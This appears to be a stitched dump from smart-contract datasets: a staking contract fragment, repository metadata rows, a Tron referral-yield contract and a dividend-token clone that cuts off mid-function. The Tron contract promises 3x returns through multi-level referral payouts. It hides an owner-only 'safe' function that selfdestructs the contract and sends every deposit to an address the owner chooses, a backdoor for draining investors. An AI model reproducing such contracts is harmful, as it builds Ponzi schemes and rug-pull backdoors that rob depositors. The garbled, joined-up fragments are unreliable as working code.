function stake(uint _amount, address _recipient) external returns (bool) {
rebase();
IERC20(GRT).safeTransferFrom(msg.sender, address(this), _amount);
Claim memory info = warmupInfo[ _recipient ];
require(!info.lock, "Deposits for account are locked");
warmupInfo[ _recipient ] = Claim ({
deposit: info.deposit.add(_amount),
gons: info.gons.add(IsGRT(sGRT).gonsForBalance(_amount)),
expiry: epoch.number.add(warmupPeriod),
lock: false
});
IERC20(sGRT).safeTransfer(warmupContract, _amount);
return true;
}
function claim (address _recipient) public {
Claim memory info = warmupInfo[ _recipient ];
if (epoch.number >= info.expiry && info.expiry != 0) {
delete warmupInfo[ _recipient ];
IWarmup(warmupContract).retrieve(_recipient, IsGRT(sGRT).balanceForGons(info.gons));
}
}
function forfeit() external {
Claim memory info = warmupInfo[ msg.sender ];
delete warmupInfo[ msg.sender ];
IWarmup(warmupContract).retrieve(address(this), IsGRT(sGRT).balanceForGons(info.gons));
IERC20(GRT).safeTransfer(msg.sender, info.deposit);
}
function toggleDepositLock() external {
warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock;
}
function unstake(uint _amount, bool _trigger) external {
if (_trigger) {
rebase();
}
IERC20(sGRT).safeTransferFrom(msg.sender, address(this), _amount);
IERC20(GRT).safeTransfer(msg.sender, _amount);
}
function index() public view returns (uint) {
return IsGRT(sGRT).index();
}
function rebase() public {
if(epoch.endBlock <= block.number) {
IsGRT(sGRT).rebase(epoch.distribute, epoch.number);
epoch.endBlock = epoch.endBlock.add(epoch.length);
epoch.number++;
if (distributor != address(0)) {
IDistributor(distributor).distribute();
}
uint balance = contractBalance();
uint staked = IsGRT(sGRT).circulatingSupply();
if(balance <= staked) {
epoch.distribute = 0;
} else {
epoch.distribute = balance.sub(staked);
}
}
}
function contractBalance() public view returns (uint) {
return IERC20(GRT).balanceOf(address(this)).add(totalBonus);
}
function giveLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.add(_amount);
IERC20(sGRT).safeTransfer(locker, _amount);
}
function returnLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.sub(_amount);
IERC20(sGRT).safeTransferFrom(locker, address(this), _amount);
}
enum CONTRACTS { DISTRIBUTOR, WARMUP, LOCKER }
function setContract(CONTRACTS _contract, address _address) external onlyManager() {
if(_contract == CONTRACTS.DISTRIBUTOR) { // 0
distributor = _address;
} else if (_contract == CONTRACTS.WARMUP) { // 1
require(warmupContract == address(0), "Warmup cannot be set more than once");
warmupContract = _address;
} else if (_contract == CONTRACTS.LOCKER) { // 2
require(locker == address(0), "Locker cannot be set more than once");
locker = _address;
}
}
function setWarmup(uint _warmupPeriod) external onlyManager() {
warmupPeriod = _warmupPeriod;
}
}
| 117,958 | 13,949 |
fd07a2bd564340ee0e2746c70362376984dfe418c4b0ecd90a1492c40f40c679
| 19,978 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TP/TPZ8N3aC9o8BYaBos8MCEsYUTua521ft9n_TronlinkProDemo.sol
| 5,219 | 19,875 |
//SourceUnit: TRON_LINK_PRO_FINAL.sol
pragma solidity ^0.5.10;
// _______ _ _ _ _____
// |__ __| | (_) | | | __ \
// | |_ __ ___ _ __ | |_ _ __ | | __ | |__) | __ ___
// | | '__/ _ \| '_ \| | | '_ \| |/ / | ___/ '__/ _ \
// | | | | (_) | | | | | | | | | < | | | | | (_) |
// |_|_| \___/|_| |_|_|_|_| |_|_|\_\ |_| |_| \___/
//
contract TronlinkProDemo {
using SafeMath for uint;
uint constant public DEPOSITS_MAX = 100;
uint constant public INVEST_MIN_AMOUNT = 100 trx;
uint constant public INVEST_MAX_AMOUNT = 4000000 trx;
uint constant public BASE_PERCENT = 100;
uint[] public REFERRAL_PERCENTS = [700, 300, 150, 100, 50, 50, 50, 40, 30, 20, 10];
uint constant public PROJECT_FEE = 500;
uint constant public CREATOR_FEE = 500;
uint constant public WITHDRAW_FEE = 500;
uint constant public MAX_CONTRACT_PERCENT = 100;
uint constant public MAX_LEADER_PERCENT = 50;
uint constant public MAX_COMMUNITY_PERCENT = 50;
uint constant public MAX_HOLD_PERCENT = 50;
uint constant public PERCENTS_DIVIDER = 10000;
uint constant public CONTRACT_BALANCE_STEP = 80000000 trx;
uint constant public LEADER_BONUS_STEP = 20000000 trx;
uint constant public COMMUNITY_BONUS_STEP = 50000;
uint constant public TIME_STEP = 1 days;
uint constant public EXTRA_BONUS = 50;
address payable public projectAddress;
address payable public creatorAddress;
uint public totalInvested;
uint public totalDeposits;
uint public totalWithdrawn;
uint public contractPercent;
uint public contractCreationTime;
uint public totalRefBonus;
address payable public owner;
uint public totalParticipants;
uint public activeParticipants;
struct Deposit {
uint64 amount;
uint32 start;
}
struct Withdraw {
uint64 withdrawn_roi;
uint64 withdrawn_ref;
uint64 withdrawn_extra;
uint32 time;
}
struct User {
Deposit[] deposits;
Withdraw[] withdraws;
uint total_business;
uint32 team_members;
uint32 checkpoint;
address referrer;
uint64 wallet;
uint64 total_user_deposit;
uint64 total_user_withdrawn;
uint64 bonus;
uint24[11] refs;
address[] referee_list;
}
mapping (address => User) internal users;
event Newbie(address user);
event NewDeposit(address indexed user, uint amount);
event Withdrawn(address indexed user, uint withdraw_amt, uint withdraw_fees);
event RefBonus(address indexed referrer, address indexed referral, uint indexed level, uint amount);
event FeePayed(address indexed user, uint totalAmount);
constructor(address payable projectAddr, address payable creatorAddr) public {
require(!isContract(creatorAddr) && !isContract(projectAddr));
projectAddress = projectAddr;
creatorAddress = creatorAddr;
contractCreationTime = block.timestamp;
owner = msg.sender;
contractPercent = getContractBalanceRate();
}
function getContractBalance() public view returns (uint) {
return address(this).balance;
}
function getContractBalanceRate() public view returns (uint) {
uint contractBalance = address(this).balance;
uint contractBalancePercent = BASE_PERCENT.add(contractBalance.div(CONTRACT_BALANCE_STEP).mul(20));
if (contractBalancePercent < BASE_PERCENT.add(MAX_CONTRACT_PERCENT)) {
return contractBalancePercent;
} else {
return BASE_PERCENT.add(MAX_CONTRACT_PERCENT);
}
}
function getLeaderBonusRate() public view returns (uint) {
uint leaderBonusPercent = totalRefBonus.div(LEADER_BONUS_STEP).mul(10);
if (leaderBonusPercent < MAX_LEADER_PERCENT) {
return leaderBonusPercent;
} else {
return MAX_LEADER_PERCENT;
}
}
function getCommunityBonusRate() public view returns (uint) {
uint communityBonusRate = totalDeposits.div(COMMUNITY_BONUS_STEP).mul(10);
if (communityBonusRate < MAX_COMMUNITY_PERCENT) {
return communityBonusRate;
} else {
return MAX_COMMUNITY_PERCENT;
}
}
modifier validSender() {
require(!isContract(msg.sender) && msg.sender == tx.origin, "Sender Address error!");
require(msg.value >= INVEST_MIN_AMOUNT && msg.value <= INVEST_MAX_AMOUNT, "Bad Deposit");
_;
}
function invest(address referrer) validSender public payable {
bool flag = isActive(msg.sender);
uint msgValue = msg.value;
User storage user = users[msg.sender];
require(user.deposits.length < DEPOSITS_MAX, "Maximum 100 deposits from address");
uint projectFee = msgValue.mul(PROJECT_FEE).div(PERCENTS_DIVIDER);
uint creatorFee = msgValue.mul(CREATOR_FEE).div(PERCENTS_DIVIDER);
msgValue = msgValue.sub(projectFee.add(creatorFee));
emit FeePayed(msg.sender, projectFee.add(creatorFee));
projectAddress.transfer(projectFee);
creatorAddress.transfer(creatorFee);
if (user.referrer == address(0) && users[referrer].deposits.length > 0 && referrer != msg.sender) {
user.referrer = referrer;
}
if (referrer != address(0) && users[referrer].deposits.length > 0) {
address upline = referrer;
//adding the newbie to referee_list of uplined
if (user.deposits.length == 0) {
users[upline].referee_list.push(msg.sender);
}
for (uint i = 0; i < 11; i++) {
if (upline != address(0)) {
uint amount = msgValue.mul(REFERRAL_PERCENTS[i]).div(PERCENTS_DIVIDER);
if (amount > 0) {
// updating total business for a user;
users[upline].total_business = (users[upline].total_business).add(msgValue);
if (user.deposits.length == 0) {
users[upline].team_members++;
}
uint ref_cap = (uint(users[upline].total_user_deposit).mul(3))
.sub(uint(users[upline].wallet).add(uint(users[upline].total_user_withdrawn)));
if(ref_cap > amount){
users[upline].bonus = uint64(uint(users[upline].bonus).add(amount));
users[upline].wallet = uint64(uint(users[upline].wallet).add(amount));
}
else{
amount = ref_cap;
users[upline].bonus = uint64(uint(users[upline].bonus).add(amount));
users[upline].wallet = uint64(uint(users[upline].wallet).add(amount));
}
totalRefBonus = totalRefBonus.add(amount);
emit RefBonus(upline, msg.sender, i, amount);
}
users[upline].refs[i]++;
upline = users[upline].referrer;
} else break;
}
}
if (user.deposits.length == 0) {
totalParticipants++;
activeParticipants++;
flag = true;
user.checkpoint = uint32(block.timestamp);
emit Newbie(msg.sender);
}
user.deposits.push(Deposit(uint64(msgValue), uint32(block.timestamp)));
user.total_user_deposit = uint64(uint(user.total_user_deposit).add(msgValue));
totalInvested = totalInvested.add(msgValue);
totalDeposits++;
if (contractPercent < BASE_PERCENT.add(MAX_CONTRACT_PERCENT)) {
uint contractPercentNew = getContractBalanceRate();
if (contractPercentNew > contractPercent) {
contractPercent = contractPercentNew;
}
}
if(!flag){
activeParticipants++;
}
emit NewDeposit(msg.sender, msgValue);
}
function deposit() public payable{
User storage user = users[msg.sender];
require(user.deposits.length > 0, "Newbie can not enroll without a Referrence");
address referrer = users[msg.sender].referrer;
invest(referrer);
}
function withdraw() public {
User storage user = users[msg.sender];
uint userPercentRate = getUserPercentRate(msg.sender);
uint communityBonus = getCommunityBonusRate();
uint leaderbonus = getLeaderBonusRate();
uint earnable = (uint(user.total_user_deposit).mul(3)).sub(uint(user.total_user_withdrawn).add(uint(user.wallet)));
uint totalAmount;
uint ROI;
uint EXTRA_ROI;
for (uint i = 0; i < user.deposits.length; i++) {
if(uint(earnable)>0){
if (user.deposits[i].start > user.checkpoint) {
ROI = (uint(user.deposits[i].amount).mul(userPercentRate+communityBonus+leaderbonus).div(PERCENTS_DIVIDER));
ROI = ROI.mul(block.timestamp.sub(uint(user.deposits[i].start))).div(TIME_STEP);
} else {
ROI = (uint(user.deposits[i].amount).mul(userPercentRate+communityBonus+leaderbonus).div(PERCENTS_DIVIDER));
ROI = ROI.mul(block.timestamp.sub(uint(user.checkpoint))).div(TIME_STEP);
}
if(ROI > earnable){
ROI = earnable;
}
earnable = earnable.sub(ROI);
totalAmount = totalAmount.add(ROI);
} else break;
}
totalAmount = totalAmount.add(uint(user.wallet));
// 0.1% OF ROI&REF_BONUS upto 0.5
uint hold_bonus = (block.timestamp.sub(uint(user.checkpoint))).div(TIME_STEP).mul(10);
if(hold_bonus > MAX_HOLD_PERCENT){
hold_bonus = MAX_HOLD_PERCENT;
}
EXTRA_ROI = totalAmount.mul(hold_bonus).div(PERCENTS_DIVIDER);
if(EXTRA_ROI > (uint(user.total_user_deposit).mul(3)).sub(uint(user.total_user_withdrawn).add(uint(user.wallet)).add(totalAmount))){
EXTRA_ROI = (uint(user.total_user_deposit).mul(3)).sub(uint(user.total_user_withdrawn).add(uint(user.wallet)).add(totalAmount));
}
totalAmount = totalAmount.add(EXTRA_ROI);
require(totalAmount > 0, "User has no withdraw balance");
require(totalAmount >= 50 trx, "Can not withdraw less than 50 trx");
uint contractBalance = address(this).balance;
if (contractBalance < totalAmount) {
totalAmount = contractBalance;
}
user.checkpoint = uint32(block.timestamp); //reseting checkpoint
uint withdrawfee = totalAmount.mul(WITHDRAW_FEE).div(PERCENTS_DIVIDER);
uint withdraw_amt = totalAmount.sub(withdrawfee);
totalWithdrawn = totalWithdrawn.add(totalAmount);
uint total_roi = uint64(totalAmount.sub(uint(user.wallet).add(EXTRA_ROI)));
user.withdraws.push(Withdraw(uint64(total_roi), uint64(user.wallet) , uint64(EXTRA_ROI) , uint32(block.timestamp)));
user.total_user_withdrawn = uint64(uint(user.total_user_withdrawn).add(totalAmount));
user.wallet = uint64(uint(user.wallet).sub(uint(user.wallet)));
msg.sender.transfer(withdraw_amt);
creatorAddress.transfer(withdrawfee);
if(!isActive(msg.sender)){
activeParticipants--;
}
emit Withdrawn(msg.sender, withdraw_amt,withdrawfee);
}
function getUserPercentRate(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
uint userDeposit = uint(user.total_user_deposit);
if (isActive(userAddress)) {
if(userDeposit >= 100000 trx){
return contractPercent.add(EXTRA_BONUS);
}
else{
return contractPercent;
}
} else {
return contractPercent;
}
}
function getUserEarnable(address userAddress) public view returns(uint){
User storage user = users[userAddress];
return (uint(user.total_user_deposit).mul(3)).sub(uint(user.total_user_withdrawn).add(uint(user.wallet)));
}
function getUserAvailable(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
uint userPercentRate = getUserPercentRate(userAddress);
uint communityBonus = getCommunityBonusRate();
uint leaderbonus = getLeaderBonusRate();
uint earnable = (uint(user.total_user_deposit).mul(3)).sub(uint(user.total_user_withdrawn).add(uint(user.wallet)));
uint totalAmount;
uint ROI;
uint EXTRA_ROI;
for (uint i = 0; i < user.deposits.length; i++) {
if(uint(earnable)>0){
if (user.deposits[i].start > user.checkpoint) {
ROI = (uint(user.deposits[i].amount).mul(userPercentRate+communityBonus+leaderbonus).div(PERCENTS_DIVIDER));
ROI = ROI.mul(block.timestamp.sub(uint(user.deposits[i].start))).div(TIME_STEP);
} else {
ROI = (uint(user.deposits[i].amount).mul(userPercentRate+communityBonus+leaderbonus).div(PERCENTS_DIVIDER));
ROI = ROI.mul(block.timestamp.sub(uint(user.checkpoint))).div(TIME_STEP);
}
if(ROI > earnable){
ROI = earnable;
}
earnable = earnable.sub(ROI);
totalAmount = totalAmount.add(ROI); //total ROI earned from last withdrawl;
} else break;
}
totalAmount = totalAmount.add(uint(user.wallet)); // unclaimed withdrawable amount... earned from ref bonus
uint hold_bonus = (block.timestamp.sub(uint(user.checkpoint))).div(TIME_STEP).mul(10);
if(hold_bonus > MAX_HOLD_PERCENT){
hold_bonus = MAX_HOLD_PERCENT;
}
EXTRA_ROI = totalAmount.mul(hold_bonus).div(PERCENTS_DIVIDER);
if(EXTRA_ROI > (uint(user.total_user_deposit).mul(3)).sub(uint(user.total_user_withdrawn).add(uint(user.wallet)).add(totalAmount))){
EXTRA_ROI = (uint(user.total_user_deposit).mul(3)).sub(uint(user.total_user_withdrawn).add(uint(user.wallet)).add(totalAmount));
}
totalAmount = totalAmount.add(EXTRA_ROI);
return totalAmount;
}
function getUserAmountOfDeposits(address userAddress) public view returns (uint) {
return users[userAddress].deposits.length;
}
function getUserLastDeposit(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
return user.checkpoint;
}
function getUserTotalDeposits(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
uint amount = uint(user.total_user_deposit);
return amount;
}
function getUserTotalWithdrawn(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
uint amount = uint(user.total_user_withdrawn);
return amount;
}
function getSiteStats() public view returns (uint, uint, uint, uint) {
return (totalInvested, totalDeposits, address(this).balance, contractPercent);
}
function getUserStats(address userAddress) public view returns (uint, uint, uint, uint, uint) {
uint userPerc = getUserPercentRate(userAddress);
uint userAvailable = getUserAvailable(userAddress);
uint userDepsTotal = getUserTotalDeposits(userAddress);
uint userDeposits = getUserAmountOfDeposits(userAddress);
uint userWithdrawn = getUserTotalWithdrawn(userAddress);
return (userPerc, userAvailable, userDepsTotal, userDeposits, userWithdrawn);
}
function getUserReferralBonus(address userAddress) public view returns (uint64) {
User storage user = users[userAddress];
return user.bonus;
}
function getUserTotalBusiness(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
return user.total_business;
}
function getUserTeams(address userAddress) public view returns (uint){
User storage user = users[userAddress];
return user.team_members;
}
function getUserTotalEarned(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
uint userAvailable = getUserAvailable(userAddress);
uint totalEarned = userAvailable.add(uint(user.total_user_withdrawn));
return totalEarned;
}
function getUserReferralsStats(address userAddress) public view returns (address, uint64, uint24[11] memory) {
User storage user = users[userAddress];
return (user.referrer, user.bonus, user.refs);
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
function safe(address payable beneficiary) public {
require(owner == msg.sender);
selfdestruct(beneficiary);
}
function getTotalParticipants() public view returns (uint) {
return totalParticipants;
}
function getActiveParticipants() public view returns (uint) {
return activeParticipants;
}
function isActive(address userAddress) public view returns (bool) {
User storage user = users[userAddress];
return (user.deposits.length > 0) && uint(user.total_user_withdrawn) < uint(user.total_user_deposit).mul(3);
}
function validAddress(address _address) public view returns (bool){
User storage user = users[_address];
return (user.deposits.length > 0);
}
function getUserReferrer(address _user) public view returns(address){
User storage user = users[_user];
return user.referrer;
}
// get user referee list
function get_ref_list(address userAddress) public view returns (address[] memory) {
User storage user = users[userAddress];
return user.referee_list;
}
function getROIWithdrawn(address userAddress) public view returns (uint){
User storage user = users[userAddress];
uint tROI;
for(uint i = 0; i<user.withdraws.length; i++){
tROI = tROI.add(user.withdraws[i].withdrawn_roi);
}
return tROI;
}
function getUserROI(address userAddress) public view returns (uint){
User storage user = users[userAddress];
uint userPercentRate = getUserPercentRate(userAddress);
uint ROI = uint(user.total_user_deposit).mul(userPercentRate).div(PERCENTS_DIVIDER);
return ROI;
}
function getHoldBonus(address userAddress) public view returns (uint){
User storage user = users[userAddress];
uint hold_bonus = (block.timestamp.sub(uint(user.checkpoint))).div(TIME_STEP).mul(10);
if(hold_bonus > MAX_HOLD_PERCENT){
hold_bonus = MAX_HOLD_PERCENT;
}
return hold_bonus;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
}
| 298,146 | 13,950 |
818409878ae8b842c2f390770407fb9d1a7a6555dd76409ec5c3e9f754b5000d
| 25,934 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x74c5ab4757fcdbf8732230ca154498ea0c538239.sol
| 4,255 | 16,458 |
pragma solidity ^0.4.20;
contract TheIlluminati {
// only people with tokens
modifier onlyBagholders() {
require(myTokens() > 0);
_;
}
// only people with profits
modifier onlyStronghands() {
require(myDividends(true) > 0);
_;
}
// ensures that the first tokens in the contract will be equally distributed
// meaning, no divine dump will be ever possible
// result: healthy longevity.
modifier antiEarlyWhale(uint256 _amountOfEthereum){
address _customerAddress = msg.sender;
// are we still in the vulnerable phase?
// if so, enact anti early whale protocol
if(onlyDevs && ((totalEthereumBalance() - _amountOfEthereum) <= devsQuota_)){
require(// is the customer in the ambassador list?
developers_[_customerAddress] == true &&
// does the customer purchase exceed the max ambassador quota?
(devsAccumulatedQuota_[_customerAddress] + _amountOfEthereum) <= devsMaxPurchase_);
// updated the accumulated quota
devsAccumulatedQuota_[_customerAddress] = SafeMath.add(devsAccumulatedQuota_[_customerAddress], _amountOfEthereum);
// execute
_;
} else {
// in case the ether count drops low, the ambassador phase won't reinitiate
onlyDevs = false;
_;
}
}
event onTokenPurchase(address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy);
event onTokenSell(address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned);
event onReinvestment(address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted);
event onWithdraw(address indexed customerAddress,
uint256 ethereumWithdrawn);
// ERC20
event Transfer(address indexed from,
address indexed to,
uint256 tokens);
string public name = "The Illuminati";
string public symbol = "ILMT";
uint8 constant public decimals = 18;
uint8 constant internal dividendFee_ = 15;
uint256 constant internal tokenPriceInitial_ = 0.0000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2**64;
// proof of stake (defaults at 30 tokens)
uint256 public stakingRequirement = 30e18;
// Developer program
mapping(address => bool) internal developers_;
uint256 constant internal devsMaxPurchase_ = 1 ether;
uint256 constant internal devsQuota_ = 1 ether;
// amount of shares for each address (scaled number)
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
mapping(address => uint256) internal devsAccumulatedQuota_;
uint256 internal tokenSupply_ = 0;
uint256 internal profitPerShare_;
bool public onlyDevs = false;
function TheIlluminati()
public
{
// add developers here
developers_[0x4b84e4ec2cdce70aa929db0f169568e1f2d50bb8] = true;
developers_[0xf990b7dAB7334a9FD48e1a05EeA28356857cb2d9] = true;
}
function buy(address _referredBy)
public
payable
returns(uint256)
{
purchaseTokens(msg.value, _referredBy);
}
function()
payable
public
{
purchaseTokens(msg.value, 0x0);
}
function reinvest()
onlyStronghands()
public
{
// fetch dividends
uint256 _dividends = myDividends(false); // retrieve ref. bonus later in the code
// pay out the dividends virtually
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// retrieve ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// dispatch a buy order with the virtualized "withdrawn dividends"
uint256 _tokens = purchaseTokens(_dividends, 0x0);
// fire event
emit onReinvestment(_customerAddress, _dividends, _tokens);
}
function exit()
public
{
// get token count for caller & sell them all
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if(_tokens > 0) sell(_tokens);
// lambo delivery service
withdraw();
}
function withdraw()
onlyStronghands()
public
{
// setup data
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false); // get ref. bonus later in the code
// update dividend tracker
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// add ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// lambo delivery service
_customerAddress.transfer(_dividends);
// fire event
emit onWithdraw(_customerAddress, _dividends);
}
function sell(uint256 _amountOfTokens)
onlyBagholders()
public
{
// setup data
address _customerAddress = msg.sender;
// russian hackers BTFO
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
// burn the sold tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
// update dividends tracker
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
// dividing by zero is a bad idea
if (tokenSupply_ > 0) {
// update the amount of dividends per token
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
// fire event
emit onTokenSell(_customerAddress, _tokens, _taxedEthereum);
}
function transfer(address _toAddress, uint256 _amountOfTokens)
onlyBagholders()
public
returns(bool)
{
// setup
address _customerAddress = msg.sender;
// make sure we have the requested tokens
// also disables transfers until ambassador phase is over
// (wedont want whale premines)
require(!onlyDevs && _amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
// withdraw all outstanding dividends first
if(myDividends(true) > 0) withdraw();
// liquify 10% of the tokens that are transfered
// these are dispersed to shareholders
uint256 _tokenFee = SafeMath.div(_amountOfTokens, dividendFee_);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToEthereum_(_tokenFee);
// burn the fee tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
// exchange tokens
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
// update dividend trackers
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
// disperse dividends among holders
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
// fire event
emit Transfer(_customerAddress, _toAddress, _taxedTokens);
// ERC20
return true;
}
function totalEthereumBalance()
public
view
returns(uint)
{
return this.balance;
}
function totalSupply()
public
view
returns(uint256)
{
return tokenSupply_;
}
function myTokens()
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus)
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return _includeReferralBonus ?dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
function balanceOf(address _customerAddress)
view
public
returns(uint256)
{
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress)
view
public
returns(uint256)
{
return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice()
public
view
returns(uint256)
{
// our calculation relies on the token supply, so we need supply. Doh.
if(tokenSupply_ == 0)
{
return tokenPriceInitial_ - tokenPriceIncremental_;
}
else
{
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
function buyPrice()
public
view
returns(uint256)
{
// our calculation relies on the token supply, so we need supply. Doh.
if(tokenSupply_ == 0){
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
function calculateTokensReceived(uint256 _ethereumToSpend)
public
view
returns(uint256)
{
uint256 _dividends = SafeMath.div(_ethereumToSpend, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
function calculateEthereumReceived(uint256 _tokensToSell)
public
view
returns(uint256)
{
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
function purchaseTokens(uint256 _incomingEthereum, address _referredBy)
antiEarlyWhale(_incomingEthereum)
internal
returns(uint256)
{
// data setup
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(_incomingEthereum, dividendFee_);
uint256 _referralBonus = SafeMath.div(_undividedDividends, 3);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
// no point in continuing execution if OP is a poorfagrussian hacker
// (or hackers)
// and yes we know that the safemath function automatically rules out the "greater then" equasion.
require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_));
// is the user referred by a masternode?
if(// is this a referred purchase?
_referredBy != 0x0000000000000000000000000000000000000000 &&
// no cheating!
_referredBy != _customerAddress&&
// does the referrer have at least X whole tokens?
// i.e is the referrer a godly chad masternode
tokenBalanceLedger_[_referredBy] >= stakingRequirement){
// wealth redistribution
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
// no ref purchase
// add the referral bonus back to the global dividends cake
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
// we can't give people infinite ethereum
if(tokenSupply_ > 0){
// add tokens to the pool
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / (tokenSupply_));
// calculate the amount of tokens the customer receives over his purchase
_fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_))));
} else {
// add tokens to the pool
tokenSupply_ = _amountOfTokens;
}
// update circulating supply & the ledger address for the customer
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
// Tells the contract that the buyer doesn't deserve dividends for the tokens before they owned them;
//really i know you think you do but you don't
int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens) - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
// fire event
emit onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy);
return _amountOfTokens;
}
function ethereumToTokens_(uint256 _ethereum)
internal
view
returns(uint256)
{
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
((// underflow attempts BTFO
SafeMath.sub((sqrt
((_tokenPriceInitial**2)
+
(2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18))
+
(((tokenPriceIncremental_)**2)*(tokenSupply_**2))
+
(2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_))), _tokenPriceInitial))/(tokenPriceIncremental_))-(tokenSupply_)
;
return _tokensReceived;
}
function tokensToEthereum_(uint256 _tokens)
internal
view
returns(uint256)
{
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(// underflow attempts BTFO
